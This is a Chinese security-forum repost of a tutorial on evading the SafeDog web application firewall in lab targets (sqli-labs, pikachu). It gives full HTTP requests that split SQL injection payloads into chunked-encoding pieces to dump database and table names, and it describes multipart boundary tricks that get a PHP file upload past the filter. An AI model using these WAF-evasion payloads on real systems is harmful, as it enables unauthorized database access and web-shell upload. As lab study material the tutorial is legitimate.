安全矩阵

 找回密码
 立即注册
搜索
查看: 652|回复: 0

waf绕过--打狗棒法

[复制链接]

417

主题

417

帖子

2391

积分

金牌会员

Rank: 6Rank: 6

积分
2391
发表于 2023-5-2 19:55:09 | 显示全部楼层 |阅读模式
本帖最后由 ivi 于 2023-5-2 20:04 编辑

用户773616194 猪猪谈安全 2023-05-02 19:00 发表于江苏

0x01 前言

某狗可谓是比较好绕过的waf,但是随着现在的发展,某狗也是越来越难绕过了,但是也不是毫无办法,争取这篇文章给正在学习waf绕过的小白来入门一种另类的waf绕过。


环境的搭建:

环境的搭建就选择phpstudy2018+安全狗最新版(2022年10月23日前)
  1. Tip:
  2.   (1)记得先在phpstudy的Apache的bin目录下初始化Apache服务,一般来说,第一次为询问是否确认,第二次为确认安装(命令:httpd.exe -k install -n apache2.4  用管理员打开)
  3.   (2)上传防护中把完整的post包过滤勾选上。
复制代码


0x02 HTTP补充:

分块传输的介绍:

分块传输编码是超文本传输协议(HTTP)中的一种数据传输机制,允许HTTP由应用服务器向客户端发送的数据分成多个部分,在消息头中指定 Transfer-Encoding: chunked 就表示整个response将使分块传输编译来传输内容。一个消息块由n块组成,并在最后一个大小为0的块结束。




请求头Transfer-encoding:

官方文档:

告知接收方为了可靠地传输报文,已经对其进行了何种编码。

chunked编码,使用若干个chunk串连接而成,由一个标明长度为0的chunk表示解释,每个chunk分为头部和正文两部分,头部内容定义了下一行传输内容的个数(个数用16进制来进行表示)和数量(一般不写数量,但是为了混淆,这里还是把数量写上去)正文部分就是指定长度的实际内容。两部分之间用(CRLF)来隔开,在最后一个长度为0的chunk中表示结束。并且长度中是以;作为长度的结束


数据包中添加:Transfer-Encoding: chunked

数字代表下一行的字符所占位数,最后需要用0独占一行表示结束,结尾需要两个回车

当设置这个Transfer-Encoding请求头的时候,会有两个效果:

Content-length字段自动忽略

基于长久化持续推送动态内容(不太了解,但是第三感觉有研究内容)



HTTP持久化连接:

因为现在大多数是http1.1协议版本,所以的话,只在Transfer-Encoding中定义了chunked一种编码格式。

持久化连接:

  Http请求是运行在TCP连接上的,所以自然有TCP的三次握手和四次挥手,慢启动的问题,所以为了提高http的性能,就使用了持久化连接。持久化连接在《计算机网络》中有提及。


  在Http1.1的版本中规定了所有连接默认都是持久化连接,除非在请求头上加上Connection:close。来关闭持久化连接。


Content-Type介绍:

Content-Type:互联网媒体类型, 也叫MIME类型,在HTTP的协议消息头中,使用Content-Type来表示请求和响应中的媒体数据格式标签,用于区分数据类型。

常见Content-Type的格式如下:

  1. Content-Type: text/html;
  2. Content-Type: application/json;charset:utf-8;
  3. Content-Type:type/subtype ;parameter
  4. Content-Type:application/x-www-form-urlencoded
  5. Content-Type:multipart/form-data
复制代码


重点介绍multipart/form-data:

当服务器使用multipart/form-data接收POST请求的时候,服务器如何知道开始位置和结束位置的呢???

其中就是用了boundary边界来进行操作的。



waf绕过的思路:

正常传输的payload都是可以被waf的正则匹配到的,而进行分块传输之后的payload,waf的正则不会进行匹配,而又满足http的规则,所以就能绕过waf。



例如:

正常传输过程中是这样的。



那么分块传输之后,就变成了这样。

  1. POST /sqli-labs-master/Less-11/ HTTP/1.1
  2. Host: 192.168.172.161
  3. Content-Length: 128
  4. Cache-Control: max-age=0
  5. Upgrade-Insecure-Requests: 1
  6. Origin: http://192.168.172.161
  7. Content-Type: application/x-www-form-urlencoded
  8. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
  9. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
  10. Referer: http://192.168.172.161/sqli-labs-master/Less-11/
  11. Accept-Encoding: gzip, deflate
  12. Accept-Language: zh-CN,zh;q=0.9
  13. Connection: close
  14. Transfer-Encoding: chunked

  15. 4
  16. unam
  17. 1
  18. e
  19. 1
  20. =
  21. 4
  22. admi
  23. 1
  24. n
  25. 1
  26. &
  27. 4
  28. pass
  29. 2
  30. wd
  31. 1
  32. =
  33. 4
  34. admi
  35. 1
  36. n
  37. 1
  38. &
  39. 4
  40. subm
  41. 2
  42. it
  43. 1
  44. =
  45. 4
  46. Subm
  47. 2
  48. it
  49. 0
复制代码



说明是可以识别分块传输的东西,那么我们就可以构造payload来看是否可以绕过waf。


绕过安全狗的sql注入:
这里先解决一下绕过安全狗的方式,在常见的方式中,我们都采用垃圾字符填充的方式来绕过安全狗,虽然效果很好,但是较为复杂,也容易出现被狗咬伤的情况,所以为了解决这一现状,小秦同学翻阅之后发现了分块传输的方式来绕过安全狗。但是分块传输目前来看只能适用于post请求。get请求还是比较难说。

以sql-labs为例:

在sqli-labs的第十一关,我们发现了可以用post请求。先正常看看过滤哪些字符,这里开门见山,直接把'union select (database()),2#。这个东西进行了过滤



咱们可以尝试使用分块传输的方式来进行绕过。这里在请求头中添加。

  1. Transfer-Encoding: chunked
  2. 这个东西,然后进行分块即可。
复制代码


读取数据库名

  1. POST /sqli-labs-master/Less-11/ HTTP/1.1
  2. Host: 192.168.172.161
  3. Content-Length: 251
  4. Cache-Control: max-age=0
  5. Upgrade-Insecure-Requests: 1
  6. Origin: http://192.168.172.161
  7. Content-Type: application/x-www-form-urlencoded
  8. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
  9. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
  10. Referer: http://192.168.172.161/sqli-labs-master/Less-11/
  11. Accept-Encoding: gzip, deflate
  12. Accept-Language: zh-CN,zh;q=0.9
  13. Connection: close
  14. Transfer-Encoding: chunked

  15. 1
  16. u
  17. 4
  18. name
  19. 1
  20. =
  21. 1
  22. &
  23. 2
  24. pa
  25. 4
  26. sswd
  27. 1
  28. =
  29. 3
  30. %27
  31. 2
  32. un
  33. 1
  34. i
  35. 2
  36. on
  37. 1
  38. +
  39. 2
  40. se
  41. 1
  42. l
  43. 2
  44. ec
  45. 1
  46. t
  47. 1
  48. +
  49. 3
  50. %28
  51. 2
  52. da
  53. 1
  54. t
  55. 2
  56. ab
  57. 1
  58. a
  59. 2
  60. se
  61. 3
  62. %28
  63. 3
  64. %29
  65. 3
  66. %29
  67. 3
  68. %2C
  69. 1
  70. 2
  71. 3
  72. %23
  73. 1
  74. &
  75. 3
  76. sub
  77. 3
  78. mit
  79. 1
  80. =
  81. 3
  82. Sub
  83. 3
  84. mit
  85. 0
复制代码


读取表名:

  1. POST /sqli-labs-master/Less-11/ HTTP/1.1
  2. Host: 192.168.172.161
  3. Content-Length: 619
  4. Cache-Control: max-age=0
  5. Upgrade-Insecure-Requests: 1
  6. Origin: http://192.168.172.161
  7. Content-Type: application/x-www-form-urlencoded
  8. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
  9. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
  10. Referer: http://192.168.172.161/sqli-labs-master/Less-11/
  11. Accept-Encoding: gzip, deflate
  12. Accept-Language: zh-CN,zh;q=0.9
  13. Connection: close
  14. Transfer-Encoding: chunked

  15. 1
  16. u
  17. 2
  18. na
  19. 1
  20. m
  21. 1
  22. e
  23. 1
  24. =
  25. 1
  26. &
  27. 2
  28. pa
  29. 2
  30. ss
  31. 2
  32. wd
  33. 1
  34. =
  35. 3
  36. %27
  37. 1
  38. u
  39. 2
  40. ni
  41. 1
  42. o
  43. 1
  44. n
  45. 1
  46. +
  47. 2
  48. se
  49. 2
  50. le
  51. 1
  52. c
  53. 1
  54. t
  55. 1
  56. +
  57. 3
  58. %28
  59. 2
  60. se
  61. 1
  62. l
  63. 1
  64. e
  65. 2
  66. ct
  67. 1
  68. +
  69. 2
  70. gr
  71. 2
  72. ou
  73. 1
  74. p
  75. 1
  76. _
  77. 2
  78. co
  79. 2
  80. nc
  81. 2
  82. at
  83. 3
  84. %28
  85. 2
  86. ta
  87. 2
  88. bl
  89. 1
  90. e
  91. 1
  92. _
  93. 2
  94. na
  95. 2
  96. me
  97. 3
  98. %29
  99. 1
  100. +
  101. 2
  102. fr
  103. 2
  104. om
  105. 1
  106. +
  107. 2
  108. in
  109. 2
  110. fo
  111. 1
  112. r
  113. 3
  114. mat
  115. 2
  116. io
  117. 1
  118. n
  119. 1
  120. _
  121. 2
  122. sc
  123. 3
  124. hem
  125. 1
  126. a
  127. 1
  128. .
  129. 2
  130. ta
  131. 2
  132. bl
  133. 2
  134. es
  135. 1
  136. +
  137. 2
  138. wh
  139. 2
  140. er
  141. 1
  142. e
  143. 1
  144. +
  145. 2
  146. ta
  147. 2
  148. bl
  149. 1
  150. e
  151. 1
  152. _
  153. 2
  154. sc
  155. 2
  156. he
  157. 1
  158. m
  159. 1
  160. a
  161. 3
  162. %3D
  163. 2
  164. da
  165. 1
  166. t
  167. 2
  168. ab
  169. 3
  170. ase
  171. 3
  172. %28
  173. 3
  174. %29
  175. 3
  176. %29
  177. 3
  178. %2C
  179. 1
  180. 2
  181. 3
  182. %23
  183. 1
  184. &
  185. 2
  186. su
  187. 3
  188. bmi
  189. 1
  190. t
  191. 1
  192. =
  193. 2
  194. Su
  195. 4
  196. bmit
  197. 0
复制代码




读列名:


读取数据:



绕过安全狗的文件上传(以pikachu靶场为例

这里上面讲到了分块传输,这里直接先使用分块传输来进行绕过。这里讲下计算方式,因为文件上传不像sql注入那样单行,所以文件上传是会有回车和空格的计算,(一个回车和一个空格占两个字符)。例如下图:



红框中的部分,分别处于不同的行,所以需要传入回车,所以这部分就应该是:



这块先去上传php文件为例,可以进行分块传输的构造。然后上传。


发现单单的分块传输已经不能绕过安全狗文件上传的检测了。




Content-Type中的boundary边界混淆绕过

因为上面讲到了Content-Type类型,那么对于我们来说,文件上传一定是利用了Content-Type中的multipart/form-data来进行的文件上传操作,刚才讲到了利用multipart/form-data必须用boundary边界来进行限制,那么我们这里研究一下boundary边界的一些问题。


深入研究boundary边界问题:



这里拿上面的边界来做文章,这里看到了,当上面定义了boundary=----WFJAFAOKAJNFKLAJ的时候我想到了两个问题。

  1. 1.如果有两个boundary是取前一个还是后一个?
  2. 2.boundary结束标志必须和定义的一定相同嘛?

  3. 下面继续一一测试
复制代码


boundary边界问题fuzz:boundary边界一致:



boundary结束标志不一致:



boundary开始标志不一致:


上面经过研究可以发现boundary结束标志不影响判断。


多个boundary:



所以当定义两个boundary的时候,只有第一个起作用。经过了上面的测试发现,我们可以通过构造多个boundary和修改boundary结束标志来达到混淆的效果,这里进行测试。


多个boundary混淆:




这里进入uploads/1.php查看


成功绕过waf。


发现:

这里发现,其他不用非得加boundary混淆,测到boundary后面加分号就直接可以绕过安全狗来上传成功。



对于分块传输的小Tip:
  1. (1)分块传输的每个长度以;结尾,所以可以构造1;fjaojafjao这种来干扰waf
  2. (2)分块传输的时候是不会管Content-Length的长度,所以可以通过Content-Length的长度变换来绕过某些waf
  3. (3)分块传输只是适用于post请求,这也是存在的弊端问题
复制代码

总结:

绕过waf的方式多种多样,但是越简单的方式越需要底层的探索,所以底层的学习是非常必要的。希望给正在学习绕waf的小伙伴提供一些思路。而不仅限于垃圾字符填充。


参考文献:
  1. https://zhuanlan.zhihu.com/p/465948117
  2. http://t.zoukankan.com/liujizhou-p-11802189.html
  3. https://copyfuture.com/blogs-details/202203261638435585
复制代码












本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 16:48 , Processed in 0.013474 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表